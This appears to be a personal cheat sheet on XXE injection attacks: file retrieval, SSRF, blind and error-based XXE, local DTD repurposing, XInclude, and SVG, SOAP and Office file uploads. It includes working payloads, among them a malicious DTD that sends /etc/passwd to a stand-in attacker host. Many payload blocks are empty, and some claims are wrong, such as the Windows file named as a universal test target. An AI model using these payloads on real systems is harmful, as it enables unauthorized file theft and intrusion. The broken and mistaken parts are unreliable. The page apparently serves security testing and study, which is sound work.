XXE Injection
- Split this into multiple notes
# XXE Injection
The XML format allows users to specify entities which can be used inside the XML document using the formant &entityname;
. These entities can be fetched over the network or can be read from a file using payloads such as:
|
|
This opens up the door to two different vulnerabilities: Retrieving Local Files and Server Side Request Forgery
# Retrieving Files
Even though XXE can be used to read files, it often can't be used to list the contents of a directory. However, we can test whether an XXE vulnerability exists, we ca try and read a file that exists on every system and that can be read by every user. In linux, that file is /etc/passwd
and in windows, that is /c:/server_files/application.conf
. An example test payload for linux would be:
|
|
# SSRF
# Regular XXE
This bug can be tested by sending an XML document with an external entity that points to a known resource on the network. If a DNS or HTTP request is sent to that server after sending the XML request, an XXE vulnerability exists. However, this method doesn't always work since some systems block external entities on a network. Here is an example payload:
|
|
# Blind XXE
Sometimes, when a server's response doesn't contain any part of the sent XML body, an XXE vulnerability might still exist. This can be tested using the Burp Collaborator.
# XML Parameter Entities
Sometimes,applications block using entities for security reasons. However you can still inject external entities using XML Parameter Entities. Here is a sample payload:
|
|
# Data Ex-filtration
With SSRF
Ex-filtrating data from blind XXE vulnerabilities is possible using a malicious DTD. In order to exploit it, we need a server to serve a malicious DTD. Here is an example DTD:
1 2 3 4
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;
You can then host this in a file under your server, accessible from a URL like
http://attacker.com/extractpasswd.dtd
. You can then use this file in an XXE payload like this:1 2 3
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/extractpasswd.dtd"> %xxe;]> <yeet>data</yeet>
This method doesn't work in multiline files however, so it can be used to leak files like
/etc/hostname
.With Error Messages
If a web application returns error messages which can possibly contain details of an entity, this too can be exploited using a DTD. DTD Document:
1 2 3 4
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
XXE Payload:
1 2 3
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/error.dtd"> %xxe;]> <yeet>data</yeet>
Repurposing existing DTD files in a server
When out-of-band interactions are disabled by the web server's network settings or any other method, it won't be possible to include external DTD files. Hence, Blind XXE injection can only be exploited using a known DTD files in a system and using that file to leak data in the form of error messages. However, this DTD file should first be edited with a malicious XXE payload that accesses system files. Thankfully, XML allows us to overwrite some entries in an external DTD. For instance, if in a server there is a DTD file named /etc/DTDs/localdtd.dtd that also contains an entity named localentity, we can use the following payload to overwrite that entity.
1 2 3 4 5 6 7 8 9 10
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///etc/DTDs/localdtd.dtd"> <!ENTITY % localentity' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
Locating such files should be fairly straightforward since the web application returns errors from the xml parser, we can simply check whether a file exists by sending a benign payload and checking whether the server returns an error(the file doesn't exist) or not(the file exists)
1 2 3 4
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/test.dtd"> %local_dtd; ]>
# Exploiting XInclude
Sometimes, even if you don't send XML data to a website, the application could still use the input you provided it to create an XML document. However, if the proper sanitisations are not made on the input, the final XML could be edited which can again be used to leak file information or to cause out-of-band interactions. Here is a sample payloads that uses xinclude:
|
|
# File Upload Attacks
In theory, any file upload that uses xml and is parsed on the back-end side can be exploited. There are different methods for different filetypes and each should be tested thoroughly.
# Image Uploads with SVG
Image upload forms can be vulnerable to XXE if they allow uploading SVG files. Here is a sample payload that should be tested:
|
|
# SOAP XXE
This payload should be tested on every parameter where a SOAP query could be formed in the backend:
|
|
# DOCX
A great tool exists for injecting in docx files: https://github.com/BuffaloWill/oxml_xxe
# XLSX
- Extract the excel file:
|
|
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
- Add your blind XXE payload in
xl/workbook.xml
or add your payload inxl/sharedStrings.xml
xl/workbook.xml
|
|
xl/sharedString.xml
|
|
- rebuild the Excel file:
|
|
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)